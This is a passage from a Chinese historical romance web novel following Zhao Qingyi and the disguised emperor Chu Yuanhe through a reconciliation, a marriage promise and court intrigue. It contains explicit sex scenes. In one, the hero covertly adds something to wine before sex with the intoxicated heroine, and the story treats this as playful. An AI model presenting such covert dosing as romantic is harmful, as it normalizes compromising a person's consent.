略一思忖,赵清仪转过身,刚一动,搁在她腰上的臂膀缩了回去。 “抱歉……” 他眸光微黯,漂亮的桃花眼藏着淡淡的自嘲,“是我把自己想得太重要了。” 他始终认为,情与欲是紧密相连,不可分割的,他爱她,才会渴望她,想与她时时欢好,便理所当然的意味,她和自己是一样的。 心悦他,才会在床榻间迁就他,纵容他。 但直至此刻他才恍然明白,于赵清仪而言,二者是可以分开的。 她喜欢与他亲密,甚至不介意与他行.房,但也仅此而已。 她的心,依旧是她的心,纵然对他有过喜欢,也不足以让她失去理智,奔向自己。 ……或许她的喜欢,与怜惜阿猫阿狗无甚区别。 前一刻的那些甜言蜜语,也只是想诱哄他袒露秘密。 赵清仪伸手想抓住他,楚元河却先一步掀开被褥离开,她的手僵在半空,什么也没抓住。 “你表哥我会设法营救的……你早些休息。”楚元河背着床榻,迅速披上外袍,甚至没敢回头多看她一眼,夺门而出。 赵清仪怔怔看着他寥落的背影,偌大的房间,因他离去顿时变得空荡冷清。 一股追出去的冲动涌上心头,可足尖刚一触地,又收了回去。 从一开始,她就只拿他当外室,即便动心,也从未想过改变这段关系,她承认,她赌不起,也输不起。 而她当初也笃定地想,只要楚元河萌生娶妻的念头,无论他要娶的是她或是旁人,她都会即刻断绝关系,再无往来。 如今,只是走到这一步罢了。 赵清仪鼻尖凝起酸涩,眼底却酝酿起了泪意,终究没有追出去。 楚元河在寨子里漫无目的地走了几圈,都没等到赵清仪出来,心底也怄了气,比得知她偷偷服用避子汤还难受。 那个女人怎么能说出如此狠绝的话?把他当什么了? 还是在她眼里,随便一个女人他都能将就? 这不仅伤了他自尊,更是将他的情意肆意践踏。 楚元河越想越气,在寨子里来回踱步。 曹虎正在亭子里吃酒,远远瞧见他,赶忙迎上去,“陛……大当家,您大半夜不睡,这是怎的了?” 楚元河正心烦,见他有酒,也要了一壶,却只是吃酒,一言不发。 曹虎过去是他手下的兵,跟随他征战多年,还是头一回见他如此失意,不由冲屋里挤挤眼,“您……和夫人吵嘴了?” 搁以往,楚元河绝对不会与旁人说他的事,但此刻他心里苦闷,需要一个说话的人,不由问他,“一个女人,死活不愿嫁你,你觉得是为何?” 曹虎圆目直瞪,这天底下还有不愿嫁陛下的女子? 可是不对啊,那女子白日里瞧着,与陛下很是亲昵,怎会不愿嫁给陛下呢。 “莫非,她有什么苦衷?又或是……害羞,矜持?” 楚元河斜了他一眼。 曹虎挠头讪笑道,“那个,属下至今光棍一条,也不太懂……” “罢了,问你也是白问。”楚元河隐约猜到一些,只是他实在不知要如何化解赵清仪的顾虑,承诺他不纳妾吗? 他是皇帝,纵然承诺,她怕是也不敢信。 一个小小李家,想要挣脱尚需全力相搏,若是嫁了帝王,哪有她挣扎的余地?待她知晓了自己的身份,只怕会躲得更远,与他老死不相往来。 越想,楚元河越心烦,又猛灌了几口烈酒。 曹虎看得龇牙咧嘴,“嗨,属下当了几年土匪,倒是觉得想要什么,抢来就是,管她如何想,抢到手再说。” “又或是……先让她怀上孩子?” “混账!”楚元河径直砸了酒壶,怒目而视,“这都什么馊主意?” 曹虎吓一哆嗦,赶紧跪下,“属下只是随口一说!您千万别动怒,这法子是卑劣一些,但……” 余下的话楚元河没听,砸了酒壶转身就走,只剩曹虎茫然跪在原地,丈二和尚摸不着头脑。 堂堂帝王,也会为情所困? 第77章 第77章“我嫁你。” 楚元河在寨子里转了两圈,待那酒气散下不少,才气势汹汹回房。 赵清仪面向床榻内侧,已经歇下了,突然听到门被撞开的声音,下意识转过头去,一抹高大的黑影便如疾风袭来,带起一阵淡淡的酒气顷刻压了上来。 赵清仪偷偷哭过一阵,蓦然被他堵住唇,百般蹂.躏,当下泪水又抑制不住。 他居然回来了。 察觉她面上的濡湿,楚元河停下动作,四目相对,皆是红了眼。 “你哭了?”楚元河喃喃。 “没有。”赵清仪死鸭子嘴硬,别过头去,“你不是生气出去了吗,怎么又回来了?” “是气了一会儿……”他双臂撑在她两侧,沉吟道,“不过……没人来哄。” 没人哄,他还气什么,横竖是不被心疼的,反倒是她,若自己敢晾着不管,估计来日受苦的还是自己,又何必呢。 楚元河抿唇,眼眶泛着湿红叹道,“般般,我方才真的伤心了。” 他只在她面前放.荡随意,却不代表他对所有女人皆是如此,那番话着实伤他不浅。 她怎么能这样想他? 随随便便就把他推给别的女人? 还是在她心里,他只是为了娶妻才对她好? 其实赵清仪也后悔的,后悔她话说得太绝情,伤人伤己,却没料到最后又是他先向她低头,当下泪水扑簌簌地落,怎么也止不住。 “我还没哭,你哭什么?” 粗粝的指腹拂过她眼角,此刻,他是真拿她没辙,“知道你说话专戳人心窝子,我都没怪你,你倒哭起来,是我又欺了你还是怎的……” 赵清仪却希望他能生气,再不济,便如他所言欺她一回,至少她还能狠下心肠,彻底推开他,如此长痛不如短痛。 可他为什么又回来了?为什么又低头了? 这叫她怎么忍心一而再,再而三地拒绝他? 赵清仪的坚持,在他无底线的宽容下几乎快要坍塌。 他慌了神,吻上她湿润的眼睫,妥协道,“别哭了,你若不愿嫁,那我们就这样,有一日,算一日,好吗?” 他想了很久,在那个梦里他也没能娶到她,甚至到死,赵清仪都不知道还有一个他。 这一世,拥有过她便足矣,又何必强求一个结果,或许如今的结果,就是最好的。 想通这一点,楚元河顿觉人生豁然开朗,把与她在一起的每一刻都当做最后一刻,便不忍心与她争执,只想好好呵护,尽可能守护她这辈子安稳无虞。 既如此,那他先低头又何妨。 赵清仪哭得更凶,拉扯着他的衣襟,埋在他胸口小声啜泣,泪水很快泅湿他的衣衫。 楚元河不知自己又做错了什么,揽着她不知如何是好。 她哭了一阵后哽咽着道歉,她不该说那样的话伤他。 人总是喜欢沉溺美好的事物,便不愿去深究这背后可能隐藏的丑陋不堪,从头至尾,楚元河对她呵护备至,无微不至,以至于她心甘情愿沦陷,也曾想过与他天长地久。 可赵清仪害怕一答应他,他对自己的好便会消失。 想当初李彻为仕途求娶她时,也曾百般讨好,可后来…… 那楚元河呢? 她从来没问过他喜欢自己什么,不是不好奇,是不敢问。 她有过揣测,或许是父亲的缘故,不管楚元河是为陛下拉拢赵家,还是为他自己拉拢赵家,总之娶到她,既能得赵家扶持,亦能坐拥孟家的金山银山,百利无一害。 除此之外,她也想不出更让人信服的理由。 可即便如此,赵清仪依旧怯懦,不敢捅破这层窗户纸,她想就这么稀里糊涂地享受他的偏爱。 只要不成婚,不管楚元河与陛下谋算什么,都牵连不到赵家,要毁,就毁她一人,那是她自己的选择,她认了。 “是我太心急。”楚元河侧躺下来,环抱着她,大掌抚着她的后脑勺细细安抚。 没人比他更清楚赵清仪前世的结局有多惨,那一切皆拜她的前夫李彻所赐,如今她恐惧与人成婚,也在情理之中。 他能理解,只是,这心结总要打开。 “若我答应弱水三千,只取一瓢,且不论最后你我如何,我都保赵家满门,你还会有所顾虑吗?” 他的话犹如当头棒喝,赵清仪蓦地止住啜泣,泪眼涟涟地望着他。 楚元河暗暗松了口气,找到症结所在了。 他越发用力地抱住她,“等回京后,陛下会赐赵家丹书铁券,无论将来皇权如何争斗,亦无论赵家会面临如何的腥风血雨,我都向你保证,我在一日,便可保赵家上下无虞,如此,你的可心安了?” 赵清仪先是震惊,随即从床上坐起,“你不造反了?” 楚元河一怔,没忍住笑出声来,“原来我在你眼里,是如此大逆不道之人。” “造反只是造给外人看的,若有朝一日钱塘百姓揭竿而起,那也在陛下预料之中,若非如此,怎么拔出萝卜带出泥,彻底清理浙江官场这摊浑水?” 赵清仪一整晚惴惴不安的心,总算落回怀里。 她又想哭了,骂他戏演得太过,险些将她诓进去,她还真以为楚元河要谋逆,而她又与他是如此亲密的关系,为此赵清仪甚至想过与赵孟两家断绝关系,以免出事后牵连家人。 思及此,她边哭边捶打他的肩头。 楚元河任她发泄片刻,才握住她的小手,“般般,我若能保住赵家,且此生只娶你一人,无论将来是否有子嗣,我也绝不纳妾,绝不生出二心,你可敢嫁我?” 大梁建朝数百年,唯有开国勋贵能得丹书铁券此等殊荣,赵家一无军功,二非勋贵,丹书铁券,受之有愧。 赵清仪含泪摇头。 楚元河的心又沉了沉,虽有预料,得到这个答案还是难免失落。 到底应该怎么做,才能彻底打开她的心结? 杀了李彻? 倒是个不错的主意。 他有预感,这一世的李彻,不对劲,还是早些杀了好,以绝后患。 楚元河眼底几不可察地掠过一抹寒芒。 赵清仪忽然跪坐起来,抱住他的脖颈,小脸埋在他颈侧,良久,似是鼓起了勇气闷闷道,“……不用丹书铁券,我嫁你。” 帝心如渊,纵使再如何偏宠平西郡王这个堂弟,那也仅仅是堂弟,楚元河贸然开口为赵家讨要丹书铁券,只怕会引得陛下恼怒。 她不愿他冒此风险。 “我只有一点要求,嫁你是我自己的决定,无论你将来要做个闲散郡王,还是想手握大权,一切皆与赵家无关,赵家自始至终,只效忠陛下一人。” 这是赵清仪的底线,也是赵家的底线,她了解父亲,不可能为她这个出嫁的女儿背主叛国。 “你这是……答应了?” 楚元河呆愣半晌才反应过来,大喜过望,“你是说,你答应嫁给我了?” 激动之下,他就想抱起怀里的人旋转高呼,然而床榻逼仄,甫一动作,整个人不受控制地向后仰倒,好在他反应及时,又生得皮糙肉厚,二人惊呼过后,双双滚落在地。 赵清仪被他护在怀中,不曾伤到分毫。 他怀抱着她,四仰八叉倒在地上,起伏的胸膛传出阵阵欢愉的笑声。 赵清仪原本还担心他摔疼了,瞧他那副傻笑的样子,又忍俊不禁,破涕为笑。 “娶我一个二嫁妇,你还能高兴成这样?” 本是无心之语,楚元河却认真道,“只要是我喜欢的,管她二嫁三嫁,那都是我的妻,是我千求万求才得来的妻。” 言下之意,无论旁人愿不愿意,他都娶定了。 楚元河霍然翻身,将赵清仪按在身下,灼热的吻又一次覆上她的唇瓣。 先前纾解过,如今的吻只是情到深处,情不自禁,他只是想亲亲她,以表达他的欢喜雀跃。 静谧的屋内渐渐回荡起唇齿交缠的水泽声,起初是温柔的,细若春风,叫人愉悦地犯起懒倦。 一丝隐秘的渴求亦在他的亲吻中蹿了出来,赵清仪迷迷糊糊攀上他的脖颈,搂着他想他再近一些。 她喜欢这样的亲昵。 楚元河顺着她,几乎吻遍她每一寸,直到那清冽的气息重新缠绕上她的面颊。 “般般……” 他的喘息逐渐深沉,眸色阴郁,他又想要她了。 只是……他可以吗? 赵清仪杏眸半眯,饶是看不清他的神情,却能感受到他的炽热,于黑暗中格外明显。 青葱般的细指缓缓圈起,像他先前宽慰她一样,不紧不慢地安抚。 楚元河再压抑不住,仰起脖颈,微张的唇溢出几声满足的喟叹。 本以为就这样了,下一刻赵清仪便将他推倒,二人就地又滚了半圈,她才占尽上风。 楚元河恍惚中回神,惊诧于她的举动,低沉的嗓音,既愉悦又暗藏期待,“般般这是……想做什么?” 那份避火图,他花了整整一夜钻研,许多画面已然刻入脑海,只是暂无用武之地。 赵清仪的举动,让他觉得熟悉,似曾相识。 大抵,他们看过同一页。 黑暗之中,赵清仪目力有限,她红着脸,靠着感知慢慢坐下。 他也受她牵引,纳入无人之境,仅是寸步,却令他浑身一颤,猛然掐住她的腰肢,发出好似痛苦的闷哼,“般般……你还伤着……” 赵清仪也不好受,如今的天,燥热得很,做什么都没耐心。 “已经不疼了。”只是骑马的受的伤,她眼下又不骑马了。 她俯身,将他多余的废话尽数吞吃入腹。 楚元河果然转移了注意,他仰起头按住她的后脑,含住她柔软的唇,不费吹灰之力探入她的齿缝,缠着她的舌尖,再度掠过她的甘甜。 赵清仪听着那暧昧黏腻的亲吻声,腰肢一瞬失了支撑跌坐下去。 他骤然停了吮吻,喘息震耳欲聋。 第78章 第78章“昨夜般般缠我时,可不…… 楚元河快要疯了,他几乎本能的想要挺起身来,却又数次被她按着,几番挣扎后颓然倒回地面。 口中仍在祈求,“般般……还是我来……” 她太娇弱,也太迟缓,令他倍感煎熬,他继续深呼吸,壁垒分明的腹肌紧绷,快要让他喘不上气。 时值初夏,即便夜里也有两分闷热,赵清仪的脸又*红又烫。 “别动……” 阔别已久的相融,她须要重新适应,掌心抵着他坚实的胸膛,小心翼翼悬在上方。 楚元河亦感受到了她的艰难,除了忍耐,他只能强迫自己深呼吸转移注意,却并不管用。 “……般般,你还是下来吧。”因为忍耐,颈侧青筋暴起,发出细微的颤栗。 赵清仪不服输,她紧咬牙关,却也仅仅坚持了片刻,随着一声细碎的轻吟,她支撑不住坠落下去。 他亦在刹那与她共坠深渊,汗如雨下,再难克制。 在她手臂发软将要倾倒之际,他及时张开双臂拥住她,灼热的唇贴在她耳畔,“罢了,就这样……” 难得她高兴,随她好了。 热气糅杂着欲念灌入耳中,赵清仪下意识想要躲闪瑟缩,可她已经困在他的怀抱里避无可避,纤细的手指搭在男人肩头,徒劳地收紧力道。 他便知晓她没有力气了,光是容纳一个他便耗尽所有。 “也不必逞强,老老实实趴在我怀里。” 磁沉的嗓音低哑,他偏头在她侧脸用力一吻,似安抚又似预警,下一瞬的攻势如同骤然侵袭的大雨又迅又猛。 赵清仪毫无预兆,身影一晃似要飞身离去,转眼又跌了回来,她低声惊呼,血液似乎顷刻涌到她的脸上,不等她缓过来,她便如铺天盖地的海浪起起伏伏。 她难以遏制地紧张起来,全身血液在这刹那间涌起,将她白皙细嫩的肌肤染至嫣红。 楚元河终于得愿,强烈的满足感几乎冲破他的理智,他无数次屏息忍耐,又无数次崩溃失控,静谧的卧房内响声淋漓。 “般般……” 他情难自禁地呼唤,每一声都要将她融入自己的骨血里。 回应他的只有似喘似泣的哭音,惹人怜惜,更惹人癫狂。 楚元河睁开眼,将那朵含着雨露摇曳盛放的牡丹尽收眼底。 他怎么今日才发觉,他的般般竟是个娇气爱哭的,整个人如水做的一般,无论哪一头都是止不住的泪汪汪。 他想求她别哭了,却又矛盾的想她哭得再惨烈些。 挣扎拉扯过后,到底是恶念侵占了理智,坐起身与她相对,一手支撑,一手禁锢她的后腰,无法逃脱地索求。 女子的哭音一声盖过一声。 外头游荡的曹虎隐约听见动静,立时吓得魂飞魄散,陛下办事儿,他哪里敢听墙角,忙不迭抱着酒坛恨不能逃得再快些,生怕多听了只字片语,便会见不到明日的太阳,一面又在心中狠狠唾弃。 还说他出的是馊主意,这不,迫不及待就用上了。 “嘁。” …… 东方既白,屋内动静才算消停。 赵清仪面色潮红,神色恍惚地躺在床榻里侧,身上只有一条薄被勉强遮蔽,露出的修长四肢泛着尚未褪去的薄红。 楚元河站在床边,擦拭地面以及床沿处的水迹,瞧着是容光焕发,神采奕奕,不见半分疲倦之色。 反观赵清仪自己,便是躺着,四肢却跟马车碾过一般发软无力。 她发誓,往后她再也不做那等不自量力之事,每回主动,都没能从他手里讨到任何便宜。 只是…… 想到最后关头他退出来,赵清仪胸口又熨帖又酸涩。 虽接纳了他,也决定等回京后二人成婚,可现如今还不知要在浙江逗留多久,若是意外有孕,回头不好交代。 赵清仪决定等醒来之后偷偷让人抓两副避子汤。 楚元河却很自觉,激流勇退。 他居然没想趁机让她怀上孩子,若她有孕,才是真的逃不出他的手掌心了,可他并没有这么做。 思及楚元河的体贴周到,赵清仪便不忍心责骂他的不知节制,但她还是打定主意分房,今晚二人分开睡,好让她缓缓。 楚元河将脏污的衣裙归拢起来,满脸无辜,“这不能怪我,你该想想,这都过了多久……” 他是她的外室,合该日日夜夜缠在她身侧侍奉,可花神宴至今已两月有余,再没酣畅淋漓过。 都说小别胜新婚,他与她的身相别得也太久了,算一算,他昨晚才讨了些利息而已。 赵清仪眼下连争辩的力气都没有,小憩片刻,待楚元河备好香汤,又被他抱进桶中擦洗。 期间曹虎在外禀报,探子递了消息,岐王的人遍寻不到他二人踪迹,便插手了孟嘉文的案子,放言只给他们七日,七日后再不现身,将在午时于菜市口处死孟嘉文。 赵清仪打了个激灵,就要从桶里起来,被一只大手按了回去。 “表哥那里有我的人,届时便是劫法场也能将人救出。” 她的心才稍稍安定,可总这般受制于人不是办法,“岐王在浙江一手遮天,身后又有世家望族作为支撑,若再不加以束缚,只怕他会越来越猖狂。” 连他手下一个商贾,都敢鼓动百姓公然反对新政,可见岐王权势滔天。 曹虎在外等了片刻,见里头人没动静,忖了忖又补充道,“还有一件事,听说岐王身边多了位幕僚,姓李,据说……是从上京来的。” 陛下身边多了位亲近的女子,曹虎自然按捺不住好奇,连夜打听赵清仪的来历,眼下清楚了她的身份,也知晓她曾有过一位丈夫。 而岐王身边那位正巧就姓李,与她前夫同姓,又是从上京来的,还对赵孟两家格外熟悉,他不得不留心。 赵清仪也想到了李彻。 当初在相国寺,方姨娘雇凶欲绑架她,她便有所猜测,毕竟以方姨娘对她的恨,定是会选择买凶杀人,而不会大费周章绑架她,那举动更像是要带她去见什么人。 而在此之前,刑部大牢恰好传出李彻病死狱中的消息。 如今想来,那会儿的李彻压根就没死,而是不知用了何种手段,说服王家冒险救他出狱,之后李彻联合方姨娘想绑走她,败露后便逃离上京,到浙江投奔岐王去了。 若真是李彻,那父亲失踪,表哥入狱,或许皆是他的手笔。 赵清仪靠在浴桶边,一张小脸煞白。 楚元河握了握她的手,递给她一个安心的眼神,随后吩咐曹虎与暗卫想办法混入石大锤的起义军中,那石大锤是个憨直莽夫,容易摆布,稍加引导,底下的几千号人便可为他所用。 岐王公然放出消息要处死孟嘉文,就是与他这个“平西郡王”撕破脸,既如此,不如将事情闹得再大些,这七日功夫也足够周珣入京传递消息。 曹虎在外领命准备退下,赵清仪蓦然出声,“对了,我这里还有人手。” 她让楚元河到妆奁前,取来孟氏交给她的手令,“表哥出事,孟家与我断无袖手旁观的道理,有这枚令牌,即可调动各大漕帮镖局加入其中。” 孟家是皇商,生意遍布大梁,来往交好的江湖人士只多不少,他们都认这枚手令。 起义军里大多又是贫民百姓,良莠不齐,若有这帮江湖人的加入,起码数量上不会太难看,再趁机造势,足以闹得钱塘沸沸扬扬。 楚元河欣然接过手令,他明白,此时此刻赵清仪已是全然交付。 他紧紧握在手心,薄唇勾起成竹在胸的笑,“声势造起来,再有周县丞的死谏书,‘陛下’定会重视此事,与张首辅自有下一步安排。” 楚天霸在宫中坐镇,身边有司礼监与长公主配合,将他这个真皇帝离京的消息瞒得密不透风,而他早与楚天霸通过气,消息到了京中,楚天霸便会代他这个皇帝下旨勤王。 只要速度够快,就能在岐王与世家反应过来之前,彻底肃清浙江。 经过这一夜,赵清仪彻底打消了疑心,相信楚元河的所作所为是受了陛下旨意,只是她仍有顾虑,“即便加上所有人,我们手里也才几千人马,且他们未经过正统训练,而岐王这些年除了亲卫,还大肆敛财豢养私兵,恐怕有上万兵马之多,两阵对垒,我们恐怕没有胜算。” 朝廷援军来得再快,七日也不够,远水解不了近渴。 关乎性命,赵清仪又担心上了,怕楚元河会在钱塘出意外,哪怕是受点伤她都会心疼。 思及此,她秀气的黛眉几乎皱成一团。 她的担忧落在楚元河眼里,胸腔仿佛有热流浸过,暖洋洋的。 “别担心了,你还不了解我吗?我不会做无意义的争斗。” 不愿她胡思乱想,楚元河将她从桶里捞出来,贴身伺候她更衣梳妆,准备一会儿带她出门散散心,来到浙江这些天,还没好好游玩一番。 饶是有他的帮扶,赵清仪起来时仍两股战战,提不起力气,“眼下形势危急,你还有这闲情逸致?” “岐王给了我们七日,不出去散心,你想如何打发时间?” 楚元河为她系上腰带,手臂自腰侧环上她的小腹,温热的气息喷洒在她耳蜗处,“还是……你打算就与我在这房里腻歪?” 赵清仪登时一激灵,“我们还是去散心吧。” 楚元河如此胜券在握,倒让她先担心起自个儿的安危了,光是一夜,她便折腾得精疲力尽,若是七日…… 赵清仪赶忙打住念头,用过晌饭小憩了两个时辰,便在傍晚催促楚元河带她出门。 楚元河的目光刻意在她脸上停留,瞧着她小脸越来越红,懂了。 “……就这么怕我?”他语带戏谑地调侃道,“昨夜般般缠我时,可不是这样的。” 赵清仪被他说得羞赧又心虚,只一味的催他快些。 黑风寨位于钱塘与武康的交界处,说是荒郊野岭,却也有独树一帜的风貌,不同闹市的纷纷扰扰,这里更像一处世外桃源。 曹虎命人牵了踏雪过来,赵清仪才发现马背上铺了一张柔滑薄毯。 楚元河附耳同曹虎交代两句话后,便抱赵清仪上马,坐上去果真比先前舒适许多,马儿小跑起来,微风拂面,心旷神怡。 他们策马径直跑出黑风寨,入了密林深处,离了黑风寨众人的视线,身后的男人挪了挪,宽阔的胸膛紧贴着她纤细的背脊。 “我这主意如何?” 赵清仪唇边的笑意尚未散去,纳闷仰起脸,“什么?” 耳畔风声猎猎,楚元河怕她听不清,刻意咬着她的耳朵低声道,“般般不是说,今夜不准同房吗?” 赵清仪恍然记起,她确实说过这么一嘴,只是这一时半会儿,她还没意识楚元河想做什么。 就听男人暧昧的嗓音响起,“不同房,那我们试试以天为被,以地为床?” 第79章 第79章“般般求我……”…… 赵清仪花容失色,简直不敢相信的耳朵。 “说好散心的!” “这不是在散心吗?” 楚元河一脸泰然,旋即似乎反应过来,幽幽说道,“夫人莫不是误会了,你这脑袋里成天想什么呢?” 赵清仪被他反咬一口,有苦说不出,红唇嗫嚅半晌,“还不是你……” 那话说得暧昧不清,很难不想歪。 楚元河看着她飞快涨红的脸,忍不住笑起来,紧贴着她的胸膛发出轻微的震动,他将她搂得更紧了,“莫非……是夫人想点做什么?” 他顺着赵清仪的思路深想,瞳色一沉,“……夫人若想试试,我也不是不行。” “我没有,我不想。”再不否认,跳进黄河都洗不清了。 男人意味深长地笑了笑,他很清楚,赵清仪是个吃软不吃硬的性子,便没再继续逗她,笔挺的双腿一夹马腹,晃晃悠悠在山间漫步,偶尔还会与她说起这一带的风土人情。 赵清仪却没了游玩的闲心。 尽管身后的男人一本正经,那利刃却是抵着后腰,气焰嚣张,久久不曾退去,让她一刻都不敢松懈。 眼看乌金西坠,楚元河还没有掉头回黑风寨的意思,赵清仪硬着头皮问道,“我们不回去了吗?” 不会真的要在这山间游荡一夜吧,上回从江家逃出来,那是无可奈何才在林子里将就一宿,可眼下,楚元河的心思分明不纯。 对方将问题抛给了她,“你想回去吗?” 赵清仪抿唇。 看出她的犹豫不安,楚元河无声叹了口气,她还是太小心翼翼了。 “你有话可以同我直说的。”他略微后撤,尽量不让她觉得窘迫,“你瞧我,我同你就是有什么说什么,你也大可如此,若你不喜,不愿,也都可以告诉我。” 赵清仪回想起此人过往诸多浪.荡之语,终究是学不来,一张小脸红得滴血。 楚元河继续循循善诱道,“是昨晚弄疼了,你不舒服?” “不是……” 赵清仪垂下眼睫,拂过面颊的风都热得她心里发慌,他怎么总是喜欢刨根问底的追问? 一问,她就会想起床笫之间,男人附在她耳畔的胡言乱语,那种时候,他问得更直白,她若羞得不吭声,他便会用力,想方设法的弄出动静来,迫使她不得不开口,继而从她的音调里琢磨她的感受。 思及此,赵清仪更是羞臊得不敢抬起脸。 楚元河还揪着她不放,“还是你不想和我待在一起?” “也、也不是……” 楚元河顿了顿,似乎明白什么,桃花眼里再度漾起促狭的笑,“那你是紧张,担心我即刻会对你做什么?” 赵清仪沉默了,盯着紧握缰绳的手,男人的大掌覆在她白皙的手背上,一如他的胸膛,将她笼罩得密不透风。 楚元河试探出了答案,微微挺直脊背,只是臂膀依旧环着她的柳腰,身下的踏雪不紧不慢地迈着马蹄,朝山间深处走去。 赵清仪觉得自己大抵是病了,还病得不轻。 她太矛盾,一面舍不得他离开,一面又羞于他的亲近,可真当对方与她不远不近时,她又会胡思乱想,继而主动示好…… 而她示好,势必引来汹涌的反噬,让她难以招架,她说着不要,抗拒,可又在隐隐的期待,甚至沉溺其中。 这不是病了又是什么? 可这些话,她难以启齿,所以每每楚元河问起她的感受,引诱她坦诚相告,她总是扭扭捏捏。 譬如眼下,楚元河不说话了,拉开距离了,她就忍不住地想让他回来。 “楚元河……”她轻声呼唤。 对方果然靠了回来,与她紧挨着,嗓音磁沉悦耳,“怎么了?” 滚烫结实的胸膛贴了上来,赵清仪又噤声了。 “般般想说什么?”楚元河凑得极近,近到能清晰看见她脸上细小的绒毛,镀了一层暖融融的落日余晖,娇俏又明媚。 他一直耐心等着,好半晌,赵清仪顶不住他灼灼的视线,别过脸去,“没事……” 楚元河便知道,她那股别扭劲上来了,明明还是在意他,喜爱他的,偏不好意思表达。 相处久了,他隐约也琢磨出了她羞耻的界限,又一次试图越过,直达她最真实的需求。 他吻住她的下颌,赵清仪嘤哼出声,无意识地向上仰起脸,那吻便顺势滑落。 她果然是受用的,不曾抵抗。 楚元河的左手松开缰绳,从后面环住她的右肩,将她锢在怀里,修长的指节没入她的衣襟。 赵清仪的羞耻心又一次破碎崩塌。 踏雪仍是四平八稳的,此间山头在钱塘与武康的交界地带,隶属黑风寨,寨子里人不敢在此时出来打搅主子好事,沿途景致唯她二人独享。 与此同时,周县丞在暗卫的护送下,折了半条命总算入京。 路上在暗卫的交代下,他亲手写下一份死谏书,阐明浙江的形势,事无巨细,末尾以性命相逼,迫切要求朝廷裁夺岐王一党。 张淮虚看着手里上万字的死谏书怒火中烧,连夜进宫面圣,待王家人有所反应时,人已经到了紫宸殿,此刻正与御案底下的楚天霸大眼瞪小眼。 其他朝臣没有面见龙颜的荣幸,他这当朝元老,身为首辅却是见过了无数回,真正陛下可不是这幅胡子拉碴的模样。 “你……你是……平西郡王?” 他怎么敢穿着龙袍冒充陛下?! 司礼监黄内侍立在一侧,讪讪解释了来龙去脉,说这一切陛下的意思。 张淮虚大为震撼,听说陛下为了更好的推行新政,彻底搅混浙江这趟水,竟以身犯险,深入虎穴,当即羞愧到嚎啕大哭,老泪纵横,可把楚天霸吓坏了,赶紧从御案底下钻出来宽慰他。 张淮虚既羞愧又感动,哭了一阵,便振作起来,当夜召集内阁及朝中五品以上大员,将周县丞送来的死谏书摆到众人眼前,严词控诉浙江官场贪腐之风盛行,以至引发浙江暴乱,须即刻派兵镇压平乱。 王次辅当即狡辩,道此事纯属子虚乌有,不然为何他们都没得到消息,唯独张淮虚一人知晓此事? 当夜,因钱塘县丞周珣的一封死谏书,上京大乱,朝堂内外引起轩然大波,无数王党人人自危,便在内阁争论不休之时,浙江暴乱悄然开始…… 楚元河与赵清仪之间,还在经历一段漫长又持久的试探。 赵清仪原以为黑风山上的风景就那样了,不曾想踏雪载着她二人穿过密林,竟将他们带到了一处温泉池子,她方知楚元河口中的散心,是来这里。 这里显然有心布置过,沐浴更衣的物品一应俱全,甚至还有两壶温酒与几样精致可口的点心,说是暗卫从集市买来的。 赵清仪盯着那两壶酒,不得不怀疑面前男人的居心。 明知她酒量欠佳,且酒品不好…… 前两回吃醉了,她没少做糊涂事。 楚元河半点不掩藏自己的心思,“给般般壮胆用的,尝尝?” 横竖是逃不掉了,赵清仪端起他亲手斟的酒,一饮而尽,酒水滑入喉中,没有预想中的辛辣刺激,倒是有股别样的果香,甜丝丝的。 她惊讶挑眉,方才吃得急,品得并不仔细,这会儿忍不住伸出小舌,舔了舔酒盏边缘残留的酒水。 果真是甜的。 “如何?”楚元河目光炯炯。 酒固然是好酒,顺着赵清仪的喜好安排的,不过里头还添了些旁的,不知她尝出来了没有。 赵清仪吃过的酒本来就少,品不出异常,但因为这酒甜,又不辣人,倒是夸赞了一句,随后又半推半就地多吃了两盏。 不出意外,她的脸又红了。 因在温泉池子旁吃的酒,热气与酒气双重作用下,她软绵绵倒了下去,身下是提前备好的褥子,柔软细腻。 楚元河如愿以偿欺压上来,无须过多的诱哄,她便主动抱上他精壮的腰,迷迷瞪瞪喊起夫君。 只是他不为所动,饶是赵清仪吻了他满脸口脂,他还是没动,只笑吟吟看她,“……般般求我?” 他此刻最大的乐趣,莫过于逗弄他主动热烈的小皇后。 赵清仪迷迷糊糊的,求……怎么个求法? “般般,就一句话的事。” 楚元河压抑着冲动,细细亲吻她,沾染情.欲的嗓音正耐心引导着她,“只要你开口了,我什么都给你,嗯?” 酒气催发下,赵清仪浑身燥热,而他的亲吻又过于舒服,但也仅仅是舒服了那么一点,她的身子明显渴望更多。 欲与羞互相挣扎拉扯,好不容易她才摒弃了羞赧,低声哀求,“夫君,我……我想……” 亲吻是舒服,到底不如他完完全全陷进来。 “想要什么?”他还在亲吻,将她白嫩脆弱的肌肤吻出了红痕。 赵清仪紧闭双目,颤动的眼睫悬着两滴泪水,又酝酿了许久,终于是袒露心声,只是她说得含蓄。 楚元河并不满足,“……说说看,想要我怎么做?”还宽慰她不必害羞,他不会笑话她的,爱她都来不及。 随着那两字说出口,赵清仪眼尾羞耻的泪水潸然滑落。 她的话显然取悦了眼前之人,楚元河猛然扣住她的膝弯。 恍恍惚惚间,赵清仪似乎察觉到什么,从飘飘然中惊醒,惶恐地推着他的脑袋,“别亲这……” 他怎么可以…… 赵清仪羞愤得哭出声来,半撑起身子,膝盖从他掌中滑过想要躲开,却被他眼疾手快捏住了脚踝。 她脚踝生得细,轻易就被男人圈在手中。 换了个地方感受他的气息,赵清仪受不住,可逃又逃不掉,只能颤抖着忍耐,尽可能不显出狼狈。 然而那水流般的声响却在寂静中.出卖了她,她只能竭力在脑中劝服自己,是这温泉池子闹的动静。 楚元河的取悦颇有成效,再抬头来到她面前时,那高挺的鼻尖带着她甜腻的气息蹭了蹭她的脸颊。 第80章 第80章“你前夫正看着我们呢”…… 赵清仪软成了一滩水,别说骂人,说话的力气都没了。 她无法质问他为何要那般,他难道就不嫌弃吗? 可楚元河回头安抚她的每一个举动,都只透着喜爱,毫无理由的,甚至又回去一番,重新将她自己的气息蹭在她脸上。 “感受到了吗?”他深吸口气,却克制不了越发沉重的喘息,粗粝的指腹摩挲着她红润的唇,眼神幽暗,“你就这张嘴硬……” “我倒有个主意,夫人说不出口的,不若交给小般般来说?”另一个她,比她坦诚多了。 赵清仪脑中犹如降下一道惊雷。 不等她想出话来辩驳,娇躯倏地一颤,杏眸顷刻间染上薄薄的水雾,娇弱又可怜。 楚元河格外温柔,停了半晌,确认她能够完全接纳自己,才慢慢涌动着讨好她。 